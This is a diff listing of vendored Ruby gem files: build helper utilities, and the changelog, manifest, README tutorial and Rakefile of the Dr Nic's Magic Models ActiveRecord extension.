message ansiCode( 'bold', 'white', 'on_red' ) + msg + ansiCode( 'reset' )
|
||||
end
|
||||
|
||||
### Output the specified <tt>msg</tt> as an ANSI-colored debugging message
|
||||
### (yellow on blue).
|
||||
def debugMsg( msg )
|
||||
return unless $DEBUG
|
||||
msg.chomp!
|
||||
$stderr.puts ansiCode( 'bold', 'yellow', 'on_blue' ) + ">>> #{msg}" + ansiCode( 'reset' )
|
||||
$stderr.flush
|
||||
end
|
||||
|
||||
### Erase the previous line (if supported by your terminal) and output the
|
||||
### specified <tt>msg</tt> instead.
|
||||
def replaceMessage( msg )
|
||||
print ErasePreviousLine
|
||||
message( msg )
|
||||
end
|
||||
|
||||
### Output a divider made up of <tt>length</tt> hyphen characters.
|
||||
def divider( length=75 )
|
||||
puts "\r" + ("-" * length )
|
||||
end
|
||||
alias :writeLine :divider
|
||||
|
||||
### Output the specified <tt>msg</tt> colored in ANSI red and exit with a
|
||||
### status of 1.
|
||||
def abort( msg )
|
||||
print ansiCode( 'bold', 'red' ) + "Aborted: " + msg.chomp + ansiCode( 'reset' ) + "\n\n"
|
||||
Kernel.exit!( 1 )
|
||||
end
|
||||
|
||||
### Output the specified <tt>promptString</tt> as a prompt (in green) and
|
||||
### return the user's input with leading and trailing spaces removed.
|
||||
def prompt( promptString )
|
||||
promptString.chomp!
|
||||
return readline( ansiCode('bold', 'green') + "#{promptString}: " + ansiCode('reset') ).strip
|
||||
end
|
||||
|
||||
### Prompt the user with the given <tt>promptString</tt> via #prompt,
|
||||
### substituting the given <tt>default</tt> if the user doesn't input
|
||||
### anything.
|
||||
def promptWithDefault( promptString, default )
|
||||
response = prompt( "%s [%s]" % [ promptString, default ] )
|
||||
if response.empty?
|
||||
return default
|
||||
else
|
||||
return response
|
||||
end
|
||||
end
|
||||
|
||||
### Search for the program specified by the given <tt>progname</tt> in the
|
||||
### user's <tt>PATH</tt>, and return the full path to it, or <tt>nil</tt> if
|
||||
### no such program is in the path.
|
||||
def findProgram( progname )
|
||||
ENV['PATH'].split(File::PATH_SEPARATOR).each {|d|
|
||||
file = File.join( d, progname )
|
||||
return file if File.executable?( file )
|
||||
}
|
||||
return nil
|
||||
end
|
||||
|
||||
### Using the CVS log for the given <tt>file</tt> attempt to guess what the
|
||||
### next release version might be. This only works if releases are tagged
|
||||
### with tags like 'RELEASE_x_y'.
|
||||
def extractNextVersionFromTags( file )
|
||||
message "Attempting to extract next release version from CVS tags for #{file}...\n"
|
||||
raise RuntimeError, "No such file '#{file}'" unless File.exists?( file )
|
||||
cvsPath = findProgram( 'cvs' ) or
|
||||
raise RuntimeError, "Cannot find the 'cvs' program. Aborting."
|
||||
|
||||
output = %x{#{cvsPath} log #{file}}
|
||||
release = [ 0, 0 ]
|
||||
output.scan( /RELEASE_(\d+)_(\d+)/ ) {|match|
|
||||
if $1.to_i > release[0] || $2.to_i > release[1]
|
||||
release = [ $1.to_i, $2.to_i ]
|
||||
replaceMessage( "Found %d.%02d...\n" % release )
|
||||
end
|
||||
}
|
||||
|
||||
if release[1] >= 99
|
||||
release[0] += 1
|
||||
release[1] = 1
|
||||
else
|
||||
release[1] += 1
|
||||
end
|
||||
|
||||
return "%d.%02d" % release
|
||||
end
|
||||
|
||||
|
||||
### Write a new manifest file with the given +named+, moving any current one
|
||||
### aside with an ".old" suffix if +backup+ is true.
|
||||
def makeManifest( name="MANIFEST", backup=true )
|
||||
message "Making manifest file '#{name}'"
|
||||
|
||||
# Move an old one aside if a backup is desired
|
||||
if backup and File::exists?( name )
|
||||
File::rename( name, name + ".old" )
|
||||
end
|
||||
|
||||
File::open( name, File::WRONLY|File::TRUNC|File::CREAT ) {|ofh|
|
||||
Find::find( "." ) do |file|
|
||||
Find.prune if AMRegexp =~ file
|
||||
Find.prune if %r{/\.} =~ file
|
||||
Find.prune if /TEMPLATE/ =~ file
|
||||
next if File::directory?( file )
|
||||
|
||||
ofh.puts file
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
|
||||
### Read the specified <tt>manifestFile</tt>, which is a text file
|
||||
### describing which files to package up for a distribution. The manifest
|
||||
### should consist of one or more lines, each containing one filename or
|
||||
### shell glob pattern.
|
||||
def readManifest( manifestFile="MANIFEST" )
|
||||
message "Reading manifest..."
|
||||
raise "Missing #{manifestFile}, please remake it" unless File.exists? manifestFile
|
||||
|
||||
manifest = IO::readlines( manifestFile ).collect {|line|
|
||||
line.chomp
|
||||
}.select {|line|
|
||||
line !~ /^(\s*(#.*)?)?$/
|
||||
}
|
||||
|
||||
filelist = []
|
||||
for pat in manifest
|
||||
$stderr.puts "Adding files that match '#{pat}' to the file list" if $VERBOSE
|
||||
filelist |= Dir.glob( pat ).find_all {|f| FileTest.file?(f)}
|
||||
end
|
||||
|
||||
message "found #{filelist.length} files.\n"
|
||||
return filelist
|
||||
end
|
||||
|
||||
|
||||
### Given a <tt>filelist</tt> like that returned by #readManifest, remove
|
||||
### the entries therein which match the Regexp objects in the given
|
||||
### <tt>antimanifest</tt> and return the resultant Array.
|
||||
def vetManifest( filelist, antimanifest=ANITMANIFEST )
|
||||
origLength = filelist.length
|
||||
message "Vetting manifest..."
|
||||
|
||||
for regex in antimanifest
|
||||
if $VERBOSE
|
||||
message "\n\tPattern /#{regex.source}/ removed: " +
|
||||
filelist.find_all {|file| regex.match(file)}.join(', ')
|
||||
end
|
||||
filelist.delete_if {|file| regex.match(file)}
|
||||
end
|
||||
|
||||
message "removed #{origLength - filelist.length} files from the list.\n"
|
||||
return filelist
|
||||
end
|
||||
|
||||
### Combine a call to #readManifest with one to #vetManifest.
|
||||
def getVettedManifest( manifestFile="MANIFEST", antimanifest=ANTIMANIFEST )
|
||||
vetManifest( readManifest(manifestFile), antimanifest )
|
||||
end
|
||||
|
||||
### Given a documentation <tt>catalogFile</tt>, extract the title, if
|
||||
### available, and return it. Otherwise generate a title from the name of
|
||||
### the CVS module.
|
||||
def findRdocTitle( catalogFile="docs/CATALOG" )
|
||||
|
||||
# Try extracting it from the CATALOG file from a line that looks like:
|
||||
# Title: Foo Bar Module
|
||||
title = findCatalogKeyword( 'title', catalogFile )
|
||||
|
||||
# If that doesn't work for some reason, try grabbing the name of the CVS
|
||||
# repository the directory belongs to.
|
||||
if title.nil? && File::directory?( "CVS" ) &&
|
||||
File::exists?( "CVS/Repository" )
|
||||
title = File::read( "CVS/Repository" ).chomp
|
||||
end
|
||||
|
||||
# As a last resort, use the name of the project directory
|
||||
if title.nil?
|
||||
distdir = File::dirname( __FILE__ )
|
||||
distdir = File::dirname( distdir ) if /docs$/ =~ distdir
|
||||
title = File::basename( distdir )
|
||||
end
|
||||
|
||||
return title
|
||||
end
|
||||
|
||||
### Given a documentation <tt>catalogFile</tt>, extract the name of the file
|
||||
### to use as the initally displayed page. If extraction fails, the
|
||||
### +default+ will be used if it exists. Returns +nil+ if there is no main
|
||||
### file to be found.
|
||||
def findRdocMain( catalogFile="docs/CATALOG", default="README" )
|
||||
|
||||
# Try extracting it from the CATALOG file from a line that looks like:
|
||||
# Main: Foo Bar Module
|
||||
main = findCatalogKeyword( 'main', catalogFile )
|
||||
|
||||
# Try to make some educated guesses if that doesn't work
|
||||
if main.nil?
|
||||
basedir = File::dirname( __FILE__ )
|
||||
basedir = File::dirname( basedir ) if /docs$/ =~ basedir
|
||||
|
||||
if File::exists?( File::join(basedir, default) )
|
||||
main = default
|
||||
end
|
||||
end
|
||||
|
||||
return main
|
||||
end
|
||||
|
||||
|
||||
### Given a documentation <tt>catalogFile</tt>, extract an upload URL for
|
||||
### RDoc.
|
||||
def findRdocUpload( catalogFile="docs/CATALOG" )
|
||||
findCatalogKeyword( 'upload', catalogFile )
|
||||
end
|
||||
|
||||
|
||||
### Given a documentation <tt>catalogFile</tt>, extract a CVS web frontend
|
||||
### URL for RDoc.
|
||||
def findRdocCvsURL( catalogFile="docs/CATALOG" )
|
||||
findCatalogKeyword( 'webcvs', catalogFile )
|
||||
end
|
||||
|
||||
|
||||
### Given a documentation <tt>catalogFile</tt>, try extracting the given
|
||||
### +keyword+'s value from it. Keywords are lines that look like:
|
||||
### # <keyword>: <value>
|
||||
### Returns +nil+ if the catalog file was unreadable or didn't contain the
|
||||
### specified +keyword+.
|
||||
def findCatalogKeyword( keyword, catalogFile="docs/CATALOG" )
|
||||
val = nil
|
||||
|
||||
if File::exists? catalogFile
|
||||
message "Extracting '#{keyword}' from CATALOG file (%s).\n" % catalogFile
|
||||
File::foreach( catalogFile ) {|line|
|
||||
debugMsg( "Examining line #{line.inspect}..." )
|
||||
val = $1.strip and break if /^#\s*#{keyword}:\s*(.*)$/i =~ line
|
||||
}
|
||||
end
|
||||
|
||||
return val
|
||||
end
|
||||
|
||||
|
||||
### Given a documentation <tt>catalogFile</tt>, which is in the same format
|
||||
### as that described by #readManifest, read and expand it, and then return
|
||||
### a list of those files which appear to have RDoc documentation in
|
||||
### them. If <tt>catalogFile</tt> is nil or does not exist, the MANIFEST
|
||||
### file is used instead.
|
||||
def findRdocableFiles( catalogFile="docs/CATALOG" )
|
||||
startlist = []
|
||||
if File.exists? catalogFile
|
||||
message "Using CATALOG file (%s).\n" % catalogFile
|
||||
startlist = getVettedManifest( catalogFile )
|
||||
else
|
||||
message "Using default MANIFEST\n"
|
||||
startlist = getVettedManifest()
|
||||
end
|
||||
|
||||
message "Looking for RDoc comments in:\n" if $VERBOSE
|
||||
startlist.select {|fn|
|
||||
message " #{fn}: " if $VERBOSE
|
||||
found = false
|
||||
File::open( fn, "r" ) {|fh|
|
||||
fh.each {|line|
|
||||
if line =~ /^(\s*#)?\s*=/ || line =~ /:\w+:/ || line =~ %r{/\*}
|
||||
found = true
|
||||
break
|
||||
end
|
||||
}
|
||||
}
|
||||
|
||||
message( (found ? "yes" : "no") + "\n" ) if $VERBOSE
|
||||
found
|
||||
}
|
||||
end
|
||||
|
||||
### Open a file and filter each of its lines through the given block a
|
||||
### <tt>line</tt> at a time. The return value of the block is used as the
|
||||
### new line, or omitted if the block returns <tt>nil</tt> or
|
||||
### <tt>false</tt>.
|
||||
def editInPlace( file ) # :yields: line
|
||||
raise "No block specified for editing operation" unless block_given?
|
||||
|
||||
tempName = "#{file}.#{$$}"
|
||||
File::open( tempName, File::RDWR|File::CREAT, 0600 ) {|tempfile|
|
||||
File::unlink( tempName )
|
||||
File::open( file, File::RDONLY ) {|fh|
|
||||
fh.each {|line|
|
||||
newline = yield( line ) or next
|
||||
tempfile.print( newline )
|
||||
}
|
||||
}
|
||||
|
||||
tempfile.seek(0)
|
||||
|
||||
File::open( file, File::TRUNC|File::WRONLY, 0644 ) {|newfile|
|
||||
newfile.print( tempfile.read )
|
||||
}
|
||||
}
|
||||
end
|
||||
|
||||
### Execute the specified shell <tt>command</tt>, read the results, and
|
||||
### return them. Like a %x{} that returns an Array instead of a String.
|
||||
def shellCommand( *command )
|
||||
raise "Empty command" if command.empty?
|
||||
|
||||
cmdpipe = IO::popen( command.join(' '), 'r' )
|
||||
return cmdpipe.readlines
|
||||
end
|
||||
|
||||
### Execute a block with $VERBOSE set to +false+, restoring it to its
|
||||
### previous value before returning.
|
||||
def verboseOff
|
||||
raise LocalJumpError, "No block given" unless block_given?
|
||||
|
||||
thrcrit = Thread.critical
|
||||
oldverbose = $VERBOSE
|
||||
begin
|
||||
Thread.critical = true
|
||||
$VERBOSE = false
|
||||
yield
|
||||
ensure
|
||||
$VERBOSE = oldverbose
|
||||
Thread.critical = false
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
### Try the specified code block, printing the given
|
||||
def try( msg, bind=nil )
|
||||
result = nil
|
||||
if msg =~ /^to\s/
|
||||
message = "Trying #{msg}..."
|
||||
else
|
||||
message = msg
|
||||
end
|
||||
|
||||
begin
|
||||
rval = nil
|
||||
if block_given?
|
||||
rval = yield
|
||||
else
|
||||
file, line = caller(1)[0].split(/:/,2)
|
||||
rval = eval( msg, bind, file, line.to_i )
|
||||
end
|
||||
|
||||
result = rval.inspect
|
||||
rescue Exception => err
|
||||
if err.backtrace
|
||||
nicetrace = err.backtrace.delete_if {|frame|
|
||||
/in `(try|eval)'/ =~ frame
|
||||
}.join("\n\t")
|
||||
else
|
||||
nicetrace = "Exception had no backtrace"
|
||||
end
|
||||
|
||||
result = err.message + "\n\t" + nicetrace
|
||||
ensure
|
||||
puts result
|
||||
end
|
||||
end
|
||||
|
||||
def time
|
||||
start = Time::now
|
||||
stimes = Process::times
|
||||
rval = yield
|
||||
etimes = Process::times
|
||||
$stderr.puts "Time elapsed: %0.5f user, %0.5f system (%0.5f wall clock seconds)" % [
|
||||
etimes.utime - stimes.utime,
|
||||
etimes.stime - stimes.stime,
|
||||
Time::now.to_f - start.to_f,
|
||||
]
|
||||
|
||||
return rval
|
||||
end
|
||||
|
||||
end
|
||||
9
vendor/gems/dr_nic_magic_models-0.9.2/CHANGELOG
vendored
Normal file
9
vendor/gems/dr_nic_magic_models-0.9.2/CHANGELOG
vendored
Normal file
@@ -0,0 +1,9 @@
|
||||
* 0.2.5 * - Initial public release
|
||||
- ActiveRecords can now be auto-created in memory when first referenced
|
||||
from their table name, without an explicit class definition.
|
||||
- ActiveRecords will automatically include validates_presence_of on
|
||||
each field with :null => false
|
||||
- ActiveRecords will automatically generate simple has_many, has_one,
|
||||
belongs_to assocations based upon assumed foreign keys. E.g.
|
||||
foreign key to products table is assumed to be product_id.
|
||||
|
||||
28
vendor/gems/dr_nic_magic_models-0.9.2/History.txt
vendored
Normal file
28
vendor/gems/dr_nic_magic_models-0.9.2/History.txt
vendored
Normal file
@@ -0,0 +1,28 @@
|
||||
*** 0.9.2 / 2007-4-30
|
||||
|
||||
+ 1 major buxfix:
|
||||
+ #generate_validations now works if you haven't already created a connection to the database; previously
|
||||
validations wouldn't get created until you had already established the connection; now it does it for
|
||||
you if its not already established
|
||||
+ Associations can be generated via the assignment methods, e.g. @membership.group= will generate the "belongs_to :group" association now. This allows the website tutorial to work correctly! Yay. That is, you can now do: Membership.create(:person => person, :group => group)
|
||||
+ has_many's should work now
|
||||
|
||||
*** 0.9.1 / 2007-4-11
|
||||
|
||||
+ 1 minor enhancement:
|
||||
+ ActiveRecord::Base includes all the magic model functionality via the MagicModel module
|
||||
+ Existing ARs can get magic validation via #generate_validations call
|
||||
+ Website tutorial works :D
|
||||
|
||||
*** 0.9.0 / 2007-4-9
|
||||
|
||||
+ 1 major enhancement:
|
||||
+ Support for dynamic loading of classes again
|
||||
+ 2 new DB supported:
|
||||
+ Tests run on sqlite (no fk support)
|
||||
+ Tests run on postgresql (fk support)
|
||||
+ Including FK bug fix
|
||||
+ Many fixes that I've lost track of
|
||||
+ History.txt to keep track of changes like these
|
||||
+ Using Hoe for Rakefile
|
||||
+ Use modules to specify common table prefixes
|
||||
56
vendor/gems/dr_nic_magic_models-0.9.2/Manifest.txt
vendored
Normal file
56
vendor/gems/dr_nic_magic_models-0.9.2/Manifest.txt
vendored
Normal file
@@ -0,0 +1,56 @@
|
||||
CHANGELOG
|
||||
History.txt
|
||||
Manifest.txt
|
||||
README
|
||||
Rakefile
|
||||
install.rb
|
||||
lib/base.rb
|
||||
lib/connection_adapters/abstract/schema_statements.rb
|
||||
lib/connection_adapters/abstract_adapter.rb
|
||||
lib/connection_adapters/mysql_adapter.rb
|
||||
lib/connection_adapters/postgresql_adapter.rb
|
||||
lib/dr_nic_magic_models.rb
|
||||
lib/dr_nic_magic_models/inflector.rb
|
||||
lib/dr_nic_magic_models/magic_model.rb
|
||||
lib/dr_nic_magic_models/schema.rb
|
||||
lib/dr_nic_magic_models/validations.rb
|
||||
lib/dr_nic_magic_models/version.rb
|
||||
lib/module.rb
|
||||
lib/rails.rb
|
||||
scripts/txt2html
|
||||
scripts/txt2js
|
||||
test.db
|
||||
test/abstract_unit.rb
|
||||
test/connections/native_mysql/connection.rb
|
||||
test/connections/native_postgresql/connection.rb
|
||||
test/connections/native_sqlite/connection.rb
|
||||
test/dummy_test.rb
|
||||
test/env_test.rb
|
||||
test/fixtures/.DS_Store
|
||||
test/fixtures/adjectives.yml
|
||||
test/fixtures/adjectives_fun_users.yml
|
||||
test/fixtures/db_definitions/mysql.drop.sql
|
||||
test/fixtures/db_definitions/mysql.sql
|
||||
test/fixtures/db_definitions/postgresql.sql
|
||||
test/fixtures/db_definitions/sqlite.sql
|
||||
test/fixtures/fun_users.yml
|
||||
test/fixtures/group_memberships.yml
|
||||
test/fixtures/group_tag.yml
|
||||
test/fixtures/groups.yml
|
||||
test/foreign_keys_test.rb
|
||||
test/fun_user_plus.rb
|
||||
test/invisible_model_access_test.rb
|
||||
test/invisible_model_assoc_test.rb
|
||||
test/invisible_model_classes_test.rb
|
||||
test/magic_module_test.rb
|
||||
test/test_existing_model.rb
|
||||
website/index.html
|
||||
website/index.txt
|
||||
website/javascripts/rounded_corners_lite.inc.js
|
||||
website/stylesheets/screen.css
|
||||
website/template.js
|
||||
website/template.rhtml
|
||||
website/version-raw.js
|
||||
website/version-raw.txt
|
||||
website/version.js
|
||||
website/version.txt
|
||||
294
vendor/gems/dr_nic_magic_models-0.9.2/README
vendored
Normal file
294
vendor/gems/dr_nic_magic_models-0.9.2/README
vendored
Normal file
@@ -0,0 +1,294 @@
|
||||
See http://magicmodels.rubyforge.org/dr_nic_magic_models for pretty README
|
||||
|
||||
Ugly README (from website/index.txt in Textile format):
|
||||
h1. Dr Nic's Magic Models
|
||||
|
||||
If you've used Ruby on Rails you'll have written at least one model class like this:
|
||||
|
||||
<pre syntax='ruby'>
|
||||
class Person < ActiveRecord::Base
|
||||
has_many :memberships
|
||||
has_many :groups, :through => :memberships
|
||||
belongs_to :family
|
||||
validates_presence_of :firstname, :lastname, :email
|
||||
end
|
||||
</pre>
|
||||
|
||||
A few minutes later you'll have wondered to yourself,
|
||||
|
||||
<blockquote>
|
||||
Why do I have write my own <code>has_many</code>, <code>belongs_to</code>, and <code>validates_presence_of</code>
|
||||
commands if all the data is in the database schema?
|
||||
</blockquote>
|
||||
|
||||
Now, for the very first time, your classes can look like this:
|
||||
|
||||
<pre syntax='ruby'>
|
||||
class Person < ActiveRecord::Base
|
||||
end
|
||||
</pre>
|
||||
|
||||
or, if you are lazy...
|
||||
|
||||
<pre syntax='ruby'>
|
||||
class Person < ActiveRecord::Base; end
|
||||
</pre>
|
||||
|
||||
or, if you read right to the end of this page, this...
|
||||
|
||||
<pre syntax='ruby'>
|
||||
# Go fish.
|
||||
</pre>
|
||||
|
||||
Magic and mystery abound. All for you. Impress your friends, amaze your mother.
|
||||
|
||||
NOTE: The gratuitous use of *Dr Nic's* in the name should only enhance the mystical magikery,
|
||||
for magic needs a magician; and I love magic. I always wanted to create my own magic trick.
|
||||
So I shall be the magician for the sake of magic itself. I look a bit like Harry Potter too,
|
||||
if Harry were 32 and better dressed.
|
||||
|
||||
h2. Installation
|
||||
|
||||
To install the Dr Nic's Magic Models gem you can run the following command to
|
||||
fetch the gem remotely from RubyForge:
|
||||
<pre>
|
||||
gem install dr_nic_magic_models
|
||||
</pre>
|
||||
|
||||
or "download the gem manually":http://rubyforge.org/projects/magicmodels and
|
||||
run the above command in the download directory.
|
||||
|
||||
Now you need to <code>require</code> the gem into your Ruby/Rails app. Insert the following
|
||||
line into your script (use <code>config/environment.rb</code> for your Rails apps):
|
||||
|
||||
<pre>
|
||||
require 'dr_nic_magic_models'
|
||||
</pre>
|
||||
|
||||
Your application is now blessed with magical mystery.
|
||||
|
||||
h2. David Copperfield eat your Ruby-crusted heart out
|
||||
|
||||
Let's demonstrate the magical mystery in all its full-stage glory. Create a Ruby on Rails app (example uses sqlite3, but use your favourite databas):
|
||||
|
||||
<pre syntax="ruby">
|
||||
rails magic_show -d sqlite3
|
||||
cd magic_show
|
||||
ruby script/generate model Person
|
||||
ruby script/generate model Group
|
||||
ruby script/generate model Membership
|
||||
</pre>
|
||||
|
||||
Update the migration <code>001_create_people.rb</code> with:
|
||||
<pre syntax="ruby">
|
||||
class CreatePeople < ActiveRecord::Migration
|
||||
def self.up
|
||||
create_table :people do |t|
|
||||
t.column :firstname, :string, :null => false
|
||||
t.column :lastname, :string, :null => false
|
||||
t.column :email, :string, :null => false
|
||||
end
|
||||
end
|
||||
|
||||
def self.down
|
||||
drop_table :people
|
||||
end
|
||||
end
|
||||
</pre>
|
||||
|
||||
Similarly, update the <code>def self.up</code> method of <code>002_create_groups.rb</code>
|
||||
with:
|
||||
<pre syntax="ruby">
|
||||
create_table :groups do |t|
|
||||
t.column :name, :string, :null => false
|
||||
t.column :description, :string
|
||||
end
|
||||
</pre>
|
||||
|
||||
and <code>003_create_memberships.rb</code> with:
|
||||
<pre syntax="ruby">
|
||||
create_table :memberships do |t|
|
||||
t.column :person_id, :integer, :null => false
|
||||
t.column :group_id, :integer, :null => false
|
||||
end
|
||||
</pre>
|
||||
|
||||
And run your migrations to create the three tables:
|
||||
<pre>
|
||||
rake db:migrate
|
||||
</pre>
|
||||
|
||||
h3. And now for some "woofle dust":http://en.wikipedia.org/wiki/List_of_conjuring_terms ...
|
||||
|
||||
At the end of <code>config/environment.rb</code> add the following line:
|
||||
|
||||
<pre>
|
||||
require 'dr_nic_magic_models'
|
||||
</pre>
|
||||
|
||||
Now, let's do a magic trick. First, let's check our model classes (<code>app/models/person.rb</code> etc):
|
||||
|
||||
<pre syntax="ruby">
|
||||
class Person < ActiveRecord::Base
|
||||
end
|
||||
class Group < ActiveRecord::Base
|
||||
end
|
||||
class Membership < ActiveRecord::Base
|
||||
end
|
||||
</pre>
|
||||
|
||||
Nothing suspicious here. We have no validations and no associations. Just some plain old model classes.
|
||||
|
||||
UPDATE: To turn on magic validations, you now need to invoke <code>generate_validations</code> on defined classes. So, update your model classes:
|
||||
|
||||
<pre syntax="ruby">
|
||||
class Person < ActiveRecord::Base
|
||||
generate_validations
|
||||
end
|
||||
class Group < ActiveRecord::Base
|
||||
generate_validations
|
||||
end
|
||||
class Membership < ActiveRecord::Base
|
||||
generate_validations
|
||||
end
|
||||
</pre>
|
||||
|
||||
For this trick, we'll need an ordinary console session. Any old one lying around the house will do.
|
||||
|
||||
<pre>
|
||||
ruby script/console
|
||||
</pre>
|
||||
|
||||
Now a normal model class is valid until you explicitly add <code>validates_xxx</code> commands.
|
||||
With Dr Nic's Magic Models:
|
||||
|
||||
<pre syntax="ruby">
|
||||
person = Person.new
|
||||
=> #<Person:0x393e0f8 @attributes={"lastname"=>"", "firstname"=>"", "email"=>""}, @new_record=true>
|
||||
person.valid?
|
||||
=> false
|
||||
person.errors
|
||||
=> #<ActiveRecord::Errors:0x3537b38 @errors={
|
||||
"firstname"=>["can't be blank", "is too long (maximum is 255 characters)"],
|
||||
"lastname"=>["can't be blank", "is too long (maximum is 255 characters)"],
|
||||
"email"=>["can't be blank", "is too long (maximum is 255 characters)"]},
|
||||
@base=#<Person:0x3538bf0 @errors=#<ActiveRecord::Errors:0x3537b38 ...>, @new_record=true,
|
||||
@attributes={"lastname"=>nil, "firstname"=>nil, "email"=>nil}>>
|
||||
</pre>
|
||||
|
||||
*Kapoow!* Instant validation! (NOTE: not as instant as it used to be - remember - you need to call <code>generate_validations</code> on each class as required)
|
||||
|
||||
Because you specified the three columns as <code>:null => false</code>,
|
||||
your ActiveRecord models will now automagically generated <code>validates_presence_of</code>
|
||||
for each non-null field, plus several other validations (since version 0.8.0).
|
||||
|
||||
Ok, we're just warming up.
|
||||
|
||||
Your models normally require association commands (<code>has_many</code>, <code>belongs_to</code>, etc, as
|
||||
demonstrated above) to have the brilliantly simple support that Rails/ActiveRecords are known for.
|
||||
|
||||
Let's just watch what Dr Nic's Magic Models can do without any effort at all...
|
||||
|
||||
<pre syntax="ruby">
|
||||
person = Person.create(:firstname => "Nic", :lastname => "Williams", :email => "drnicwilliams@gmail.com")
|
||||
group = Group.create(:name => "Magic Models Forum", :description => "http://groups.google.com/magicmodels")
|
||||
membership = Membership.create(:person => person, :group => group)
|
||||
person.memberships.length
|
||||
=> 1
|
||||
membership.person
|
||||
=> <Person:0x38898e8 @attributes={"lastname"=>"Williams", "firstname"=>"Nic",
|
||||
"id"=>"1", "email"=>"drnicwilliams@gmail.com"}>
|
||||
group.memberships
|
||||
=> [<Membership:0x3c8cd70 @attributes={"group_id"=>"1", "id"=>"1", "person_id"=>"1"}>]
|
||||
</pre>
|
||||
|
||||
|
||||
The final association trick is a ripper. Automatic generation of <code>has_many :through</code> associations...
|
||||
|
||||
<pre syntax="ruby">
|
||||
>> person.groups
|
||||
=> [<Group:0x39047e0 @attributes={"name"=>"Magic Models Forum", "id"=>"1", "description"=>nil}>]
|
||||
>> group.people
|
||||
=> [<Person:0x3c33580 @attributes={"lastname"=>"Williams", "firstname"=>"Nic",
|
||||
"id"=>"1", "email"=>"drnicwilliams@gmail.com"}>]
|
||||
</pre>
|
||||
|
||||
h3. Drum roll...
|
||||
|
||||
Ladies and gentlemen. For my final feat of magical mastery, I'll ask you to do
|
||||
something you've never done before. This illusion is akin to the "floating lady":http://www.toytent.com/Posters/985.html
|
||||
illusion that has been passed down through generations of magicians.
|
||||
|
||||
Exit your console session.
|
||||
|
||||
DELETE your three model classes: <code>person.rb, group.rb, and membership.rb</code> from the
|
||||
<code>app/models</code> folder. (You can always get them back via the model generator... be fearless!)
|
||||
|
||||
<pre>rm app/models/*.rb</pre>
|
||||
|
||||
Re-launch your console.
|
||||
|
||||
*drums are still rolling...*
|
||||
|
||||
Be prepared to applaud loudly...
|
||||
|
||||
<pre syntax="ruby">
|
||||
>> Person
|
||||
=> Person
|
||||
</pre>
|
||||
|
||||
You applaud loudly, but watch for more...
|
||||
|
||||
<pre syntax="ruby">
|
||||
>> Person.new.valid?
|
||||
=> false
|
||||
>> person = Person.find(1)
|
||||
=> <Person:0x3958930 @attributes={"lastname"=>"Williams", "firstname"=>"Nic",
|
||||
"id"=>"1", "email"=>"drnicwilliams@gmail.com"}>
|
||||
>> person.valid?
|
||||
=> true
|
||||
>> person.memberships
|
||||
=> [<Membership:0x393a000 @attributes={"group_id"=>"1", "id"=>"1", "person_id"=>"1"}>]
|
||||
>> person.groups
|
||||
=> [<Group:0x390df60 @attributes={"name"=>"Magic Models Forum", "id"=>"1", "description"=>nil}>]
|
||||
</pre>
|
||||
|
||||
h3. Tada!
|
||||
|
||||
The end.
|
||||
|
||||
h3. Use modules to scope your magic
|
||||
|
||||
Only want to pick up tables starting with <code>blog_</code>?
|
||||
|
||||
<pre syntax="ruby">module Blog
|
||||
magic_module :table_name_prefix => 'blog_'
|
||||
end
|
||||
|
||||
Blog::Post.table_name # => 'blog_posts'
|
||||
</pre>
|
||||
|
||||
h2. Dr Nic's Blog
|
||||
|
||||
"http://www.drnicwilliams.com":http://www.drnicwilliams.com - for future announcements and
|
||||
other stories and things.
|
||||
|
||||
h2. Articles about Magic Models
|
||||
|
||||
* "Announcement":http://drnicwilliams.com/2006/08/07/ann-dr-nics-magic-models/
|
||||
* "BTS - Class creation":http://drnicwilliams.com/2006/08/10/bts-magic-models-class-creation/
|
||||
|
||||
|
||||
h2. Forum
|
||||
|
||||
"http://groups.google.com/group/magicmodels":http://groups.google.com/group/magicmodels
|
||||
|
||||
h2. Licence
|
||||
|
||||
This code is free to use under the terms of the MIT licence.
|
||||
|
||||
h2. Contact
|
||||
|
||||
Comments are welcome. Send an email to "Dr Nic Williams":mailto:drnicwilliams@gmail.com
|
||||
or via his blog at "http://www.drnicwilliams.com":http://www.drnicwilliams.com
|
||||
|
||||
134
vendor/gems/dr_nic_magic_models-0.9.2/Rakefile
vendored
Normal file
134
vendor/gems/dr_nic_magic_models-0.9.2/Rakefile
vendored
Normal file
@@ -0,0 +1,134 @@
|
||||
require 'rubygems'
|
||||
require 'rake'
|
||||
require 'rake/clean'
|
||||
require 'rake/testtask'
|
||||
require 'rake/rdoctask'
|
||||
require 'rake/packagetask'
|
||||
require 'rake/gempackagetask'
|
||||
require 'rake/contrib/rubyforgepublisher'
|
||||
require 'hoe'
|
||||
require File.join(File.dirname(__FILE__), 'lib', 'dr_nic_magic_models', 'version')
|
||||
|
||||
AUTHOR = "nicwilliams" # can also be an array of Authors
|
||||
EMAIL = "drnicwilliams@gmail.com"
|
||||
DESCRIPTION = "Dr Nic's Magic Models - Invisible validations, assocations and Active Record models themselves!"
|
||||
GEM_NAME = "dr_nic_magic_models" # what ppl will type to install your gem
|
||||
RUBYFORGE_PROJECT = "magicmodels" # The unix name for your project
|
||||
HOMEPATH = "http://#{RUBYFORGE_PROJECT}.rubyforge.org"
|
||||
|
||||
|
||||
NAME = "magic_multi_connections"
|
||||
REV = nil # UNCOMMENT IF REQUIRED: File.read(".svn/entries")[/committed-rev="(d+)"/, 1] rescue nil
|
||||
VERS = ENV['VERSION'] || (DrNicMagicModels::VERSION::STRING + (REV ? ".#{REV}" : ""))
|
||||
CLEAN.include ['**/.*.sw?', '*.gem', '.config']
|
||||
RDOC_OPTS = ['--quiet', '--title', "dr_nic_magic_models documentation",
|
||||
"--opname", "index.html",
|
||||
"--line-numbers",
|
||||
"--main", "README",
|
||||
"--inline-source"]
|
||||
|
||||
class Hoe
|
||||
def extra_deps
|
||||
@extra_deps.reject { |x| Array(x).first == 'hoe' }
|
||||
end
|
||||
end
|
||||
|
||||
# Generate all the Rake tasks
|
||||
# Run 'rake -T' to see list of generated tasks (from gem root directory)
|
||||
hoe = Hoe.new(GEM_NAME, VERS) do |p|
|
||||
p.author = AUTHOR
|
||||
p.description = DESCRIPTION
|
||||
p.email = EMAIL
|
||||
p.summary = DESCRIPTION
|
||||
p.url = HOMEPATH
|
||||
p.rubyforge_name = RUBYFORGE_PROJECT if RUBYFORGE_PROJECT
|
||||
p.test_globs = ["test/**/test_*.rb"]
|
||||
